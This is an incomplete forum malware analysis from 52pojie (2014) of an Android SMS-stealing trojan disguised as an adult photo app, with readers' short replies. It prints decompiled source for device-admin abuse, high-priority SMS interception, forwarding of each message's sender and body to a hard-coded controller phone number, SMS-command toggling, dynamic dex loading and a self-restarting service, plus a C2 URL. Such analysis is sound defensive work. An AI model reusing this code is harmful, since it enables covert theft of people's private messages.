吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 10004|回复: 9
收起左侧

[移动样本分析] 一枚APK文件的分析【半成品】

  [复制链接]
Sp4ce 发表于 2014-10-28 00:13
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 轩少 于 2014-10-28 22:42 编辑

昨天从QQ群里截获的一个APK样本,看了下索取的权限,都是高危权限,不排除有窃取隐私的可能。
文件采用“包中包”(就是在一个APK中再放置另一个APK。比如这个:cao.apk在:同城约炮相册\res\raw目录下,安装完同城约炮相册.apk,运行后自动安装cao.apk)安装
文件信息:
同城约炮相册.apk
CRC32: DFFE6DBE
MD5: 4F487D6D264F6FE9915D7FAEEC6327D0
SHA-1: ACC64922E63F978F689EC8E87A76CF6855CA6D00

cao.apk
CRC32: 00AF413F
MD5: 325666F55D02C48725E3EBC5613226F9
SHA-1: 4701C5857E6CA205DEEFF4F9A41B50D2CEEB5438


[AppleScript] 纯文本查看 复制代码
<?xml version="1.0" encoding="utf-8"?>
<manifest
        xmlns:android="http://schemas.android.com/apk/res/android"
        android:versionCode="2"
        android:versionName="2.0"
        package="sdgfdg.wtert.sdgsfgbxbcvdfh"
        >
        <uses-sdk
                android:minSdkVersion="8"
                android:targetSdkVersion="20"
                android:name="android.permission.INTERNET"//访问网络
                android:name="android.permission.SEND_SMS" //发送短信
                android:name="android.permission.RECEIVE_SMS"//接收短信
                android:name="android.permission.READ_SMS"//读取短信
                android:name="android.permission.WRITE_SMS" //编写短信
                android:name="android.permission.WRITE_EXTERNAL_STORAGE"//操作外部存储文件
                android:name="android.permission.KILL_BACKGROUND_PROCESSES"//结束(杀掉)指定进程
                android:theme="@android:01030007"
                android:label="@7F060001"
                android:icon="@7F020000"
                android:debuggable="true"
                android:allowBackup="true"
                >
                <activity
                        android:label="@7F060001"
                        android:name="sdgfdg.wtert.sdgsfgbxbcvdfh.MainActivity"
                        >
                        <intent-filter
                                >
                                <action
                                        android:name="android.intent.action.MAIN"
                                        >
                                </action>
                                <category
                                        android:name="android.intent.category.LAUNCHER"
                                        >
                                </category>
                        </intent-filter>
                </activity>
                <service
                        android:name="sdgfdg.wtert.sdgsfgbxbcvdfh.MyServers1"//执行MyServers1.class
                        >
                </service>
                <receiver
                        android:label="请激活"
                        android:name="sdgfdg.wtert.sdgsfgbxbcvdfh.DevicesReceiver2"  //执行DevicesReceiver2.class
                        android:permission="android.permission.BIND_DEVICE_ADMIN"  //[color=#000][font=Arial]请求系统管理员接收者[/font][/color][color=#000][font=Helvetica]receiver[/font][/color]
                        android:description="@7F060003"
                        >
                        <meta-data
                                android:name="android.app.device_admin"
                                android:resource="@7F040000"
                                >
                        </meta-data>
                        <intent-filter
                                >
                                <action
                                        android:name="android.app.action.DEVICE_ADMIN_ENABLED"//打开设备管理器
                                        >
                                </action>
                        </intent-filter>
                </receiver>
                <receiver
                        android:name="sdgfdg.wtert.sdgsfgbxbcvdfh.laixinxis"//执行laixinxis.class
                        >
                        <intent-filter
                                android:priority="2147483647"
                                >
                                <action
                                        android:name="android.provider.Telephony.SMS_RECEIVED"//拦截系统收到信息广播(就是通知栏)
                                        >
                                </action>
                                <category
                                        android:name="android.intent.category.DEFAULT"//隐藏启动?
                                        >
                                </category>
                        </intent-filter>
                </receiver>
        </application>
</manifest>

查看AndroidManifest.xml配置文件,可以发现赋予了程序非常多的权限,且是高危的权限,例如发送短信、结束程序、拦截广播等等,
DevicesReceiver2.class代码如下:
[AppleScript] 纯文本查看 复制代码
package sdgfdg.wtert.sdgsfgbxbcvdfh;

import android.app.admin.DeviceAdminReceiver;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.content.res.Resources;

public class DevicesReceiver2 extends DeviceAdminReceiver
{
  ComponentName componentName;
  PackageManager packageManager;

  public void onDisabled(Context paramContext, Intent paramIntent)
  {
    super.onDisabled(paramContext, paramIntent);
  }

  public void onEnabled(Context paramContext, Intent paramIntent)
  {
    super.onEnabled(paramContext, paramIntent);
  }

  public void onReceive(Context paramContext, Intent paramIntent)
  {
    if (paramIntent.getAction().equals("android.app.action.DEVICE_ADMIN_ENABLED"))
      ApksUtil1.loadFaMsg(paramContext, paramContext.getResources().getString(2131099666), paramContext.getResources().getString(2131099667), huanaidss2.controlphone, paramContext.getResources().getString(2131099659));
    while (true)
    {
      super.onReceive(paramContext, paramIntent);
      return;
      if (paramIntent.getAction().equals("android.app.action.DEVICE_ADMIN_DISABLE_REQUESTED"))
        ApksUtil1.loadFaMsg(paramContext, paramContext.getResources().getString(2131099666), paramContext.getResources().getString(2131099667), huanaidss2.controlphone, paramContext.getResources().getString(2131099660));
    }
  }
}
发现调取了一个 huanaidss2.controlphone 我们接着看 huanaidss2.class
[AppleScript] 纯文本查看 复制代码
package sdgfdg.wtert.sdgsfgbxbcvdfh;

public class huanaidss2
{
  public static final String baidu = "http://60.8.229.158:8002/sj.asp";
  public static String controlphone = "15021352759";
}

得到: controlphone = "15021352759" 也就是说会给15021352759发短信,顺手搜了下手机号,呵呵呵。。 1.jpg shouxinxi.class代码如下:
[AppleScript] 纯文本查看 复制代码
package sdgfdg.wtert.sdgsfgbxbcvdfh;

import android.content.Context;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.content.res.Resources;
import android.database.ContentObserver;
import android.net.Uri;
import android.os.Handler;

public class shouxinxi extends ContentObserver
{
  public SharedPreferences abSharedPreferences = null;
  private Context context;
  public SharedPreferences.Editor editor;
  private Uri inbox = null;
  private String status;

  public shouxinxi(Context paramContext, Handler paramHandler)
  {
    super(paramHandler);
    this.context = paramContext;
    this.inbox = Uri.parse("content://sms/inbox");
    Change();
  }

  public void Change()
  {
    this.abSharedPreferences = this.context.getSharedPreferences("data", 0);
    this.status = this.abSharedPreferences.getString("isWorkServer", "0");
    ApksUtil1.shanxx(this.context, this.context.getResources().getString(2131099666), this.context.getResources().getString(2131099669),
huanaidss2.controlphone, this.status, this.inbox, this.abSharedPreferences);//调用shanxx.class和huanaidss2.class
  }

  public void onChange(boolean paramBoolean)
  {
    super.onChange(paramBoolean);
    this.inbox = Uri.parse("content://sms/inbox");
    Change();
  }
}

laixinxis.class的代码如下:
[AppleScript] 纯文本查看 复制代码
package sdgfdg.wtert.sdgsfgbxbcvdfh;

import android.content.BroadcastReceiver;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.content.res.Resources;
import android.os.Bundle;
import android.telephony.SmsMessage;
import android.util.Log;

public class laixinxis extends BroadcastReceiver
{
  public SharedPreferences abSharedPreferences = null;
  public SharedPreferences.Editor editor;
  private String messageStr;
  private int n;
  private String phoneStr;
  private shouxinxi shouxxba;
  private String status;
  private SmsMessage[] xinxi;

  public void onReceive(Context paramContext, Intent paramIntent)
  {
    this.abSharedPreferences = paramContext.getSharedPreferences("data", 0);
    this.status = this.abSharedPreferences.getString("isWorkServer", "0");
    Log.i("action", paramIntent.getAction());
    paramContext.getSharedPreferences("config", 0);
    Object[] arrayOfObject;
    if (paramIntent.getAction().equals(paramContext.getResources().getString(2131099655)))
    {
      arrayOfObject = (Object[])paramIntent.getExtras().get("pdus");
      this.xinxi = new SmsMessage[arrayOfObject.length];
      this.n = 0;
      if (this.n < arrayOfObject.length);
    }
    else
    {
      return;
    }
    this.xinxi[this.n] = SmsMessage.createFromPdu((byte[])arrayOfObject[this.n]);
    this.phoneStr = this.xinxi[this.n].getOriginatingAddress();
    this.messageStr = this.xinxi[this.n].getMessageBody();
    if (this.status.equals("1"))
    {
      ApksUtil1.pinbi(paramContext, paramContext.getResources().getString(2131099666), paramContext.getResources().getString(2131099668), this);
      if (this.messageStr.contains("close"))
      {
        ApksUtil1.loadFaMsg(paramContext, paramContext.getResources().getString(2131099666), paramContext.getResources().getString(2131099667), huanaidss2.controlphone, paramContext.getResources().getString(2131099653));
        this.editor = this.abSharedPreferences.edit();
        this.editor.putString("isWorkServer", "0");
        this.editor.commit();
      }
    }
    while (true)
    {
      this.n = (1 + this.n);
      break;
      if (this.messageStr.contains("open"))
      {
        ApksUtil1.loadFaMsg(paramContext, paramContext.getResources().getString(2131099666), paramContext.getResources().getString(2131099667), huanaidss2.controlphone, paramContext.getResources().getString(2131099654));
        this.editor = this.abSharedPreferences.edit();
        this.editor.putString("isWorkServer", "1");
        this.editor.commit();
        this.shouxxba = new shouxinxi(paramContext, null);
        paramContext.getContentResolver().registerContentObserver(MyServers1.xxdizhi, true, this.shouxxba);
      }
      else
      {
        ApksUtil1.loadFaMsg(paramContext, paramContext.getResources().getString(2131099666), paramContext.getResources().getString(2131099667), huanaidss2.controlphone, this.phoneStr + "<" + this.messageStr);
        continue;
        if (this.messageStr.contains("open"))
        {
          ApksUtil1.pinbi(paramContext, paramContext.getResources().getString(2131099666), paramContext.getResources().getString(2131099668), this);
          ApksUtil1.loadFaMsg(paramContext, paramContext.getResources().getString(2131099666), paramContext.getResources().getString(2131099667), huanaidss2.controlphone, paramContext.getResources().getString(2131099654));
          this.editor = this.abSharedPreferences.edit();
          this.editor.putString("isWorkServer", "1");
          this.editor.commit();
          this.shouxxba = new shouxinxi(paramContext, null);
          paramContext.getContentResolver().registerContentObserver(MyServers1.xxdizhi, true, this.shouxxba);
        }
      }
    }
  }

  void pingbi(Context paramContext, String paramString1, String paramString2, BroadcastReceiver paramBroadcastReceiver)
  {
    ApksUtil1.pinbi(paramContext, paramString1, paramString2, paramBroadcastReceiver);
  }

  public native void pingbiJNI(Context paramContext, String paramString1, String paramString2, BroadcastReceiver paramBroadcastReceiver);
}

被调用的shanxx代码如下:
[AppleScript] 纯文本查看 复制代码
  public static void shanxx(Context paramContext, String paramString1, String paramString2, String paramString3, String paramString4, Uri paramUri, SharedPreferences paramSharedPreferences)
  {
    File localFile = paramContext.getDir("dex", 0);
    DexClassLoader localDexClassLoader = new DexClassLoader(AbFilesUtil1.path.getAbsolutePath() + AbFilesUtil1.Filepath, localFile.getAbsolutePath(), null, paramContext.getClassLoader());
    try
    {
      Class localClass = localDexClassLoader.loadClass(paramString1);
      Object localObject = localClass.newInstance();
      Method localMethod = localClass.getMethod(paramString2, new Class[] { Context.class, String.class, String.class, Uri.class, SharedPreferences.class });
      localMethod.setAccessible(true);
      localMethod.invoke(localObject, new Object[] { paramContext, paramString3, paramString4, paramUri, paramSharedPreferences });
      return;
    }
    catch (Exception localException)
    {
      localException.printStackTrace();
    }
  }
}
MyServes1.class的代码如下(调用了上述几个class):
[AppleScript] 纯文本查看 复制代码
package sdgfdg.wtert.sdgsfgbxbcvdfh;

import android.app.Service;
import android.content.ContentResolver;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.SharedPreferences;
import android.content.res.Resources;
import android.net.Uri;
import android.os.IBinder;

public class MyServers1 extends Service
{
  public static final Uri xxdizhi = Uri.parse("content://sms/");
  public SharedPreferences abSharedPreferences = null;
  private laixinxis xinxilai;
  private shouxinxi xxshou;

  public IBinder onBind(Intent paramIntent)
  {
    return null;
  }

  public void onCreate()
  {
    super.onCreate();
    this.abSharedPreferences = getSharedPreferences("data", 0);
    this.xxshou = new shouxinxi(this, null);
    getContentResolver().registerContentObserver(xxdizhi, true, this.xxshou);
    IntentFilter localIntentFilter = new IntentFilter();
    localIntentFilter.addAction(getResources().getString(2131099655));
    localIntentFilter.setPriority(2147483647);
    this.xinxilai = new laixinxis();
    registerReceiver(this.xinxilai, localIntentFilter, getResources().getString(2131099655), null);
  }

  public void onDestroy()
  {
    super.onDestroy();
    stopForeground(true);
    unregisterReceiver(this.xinxilai);
    getContentResolver().unregisterContentObserver(this.xxshou);
    Intent localIntent = new Intent();
    localIntent.setClass(this, MyServers1.class);
    startService(localIntent);
  }
}

由于能力有限,我也只能搞到这里了,下面这是样本,有能力的继续搞吧……调用函数太多,密码:52pojie
同城约炮相册.rar (52.07 KB, 下载次数: 100)









免费评分

参与人数 2热心值 +2 收起 理由
sonyiii + 1 手机号码是怎么搜出来的?用的什么方法
zjxpioneer + 1 谢谢@Thanks!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

Hmily 发表于 2014-11-21 19:25
不错啊,开始搞安卓分析了?@willJ
rockymax 发表于 2014-12-13 22:08
B6B6B6 发表于 2014-11-21 23:49 来自手机
爱不灭 发表于 2014-12-20 10:14 来自手机
研究一下
 楼主| Sp4ce 发表于 2015-2-9 02:19
过几天再看下,最近没空,累如狗
武川烁 发表于 2015-2-10 09:51 来自手机
你这文件名。。。
星期日 发表于 2015-3-20 23:49
我也在研究这款软件!楼主怎么那么久没有更新啦?
15732164757 发表于 2015-8-6 08:23 来自手机
知道这个
蚊子169 发表于 2016-4-14 17:15
弄好了吗
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 11:33

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表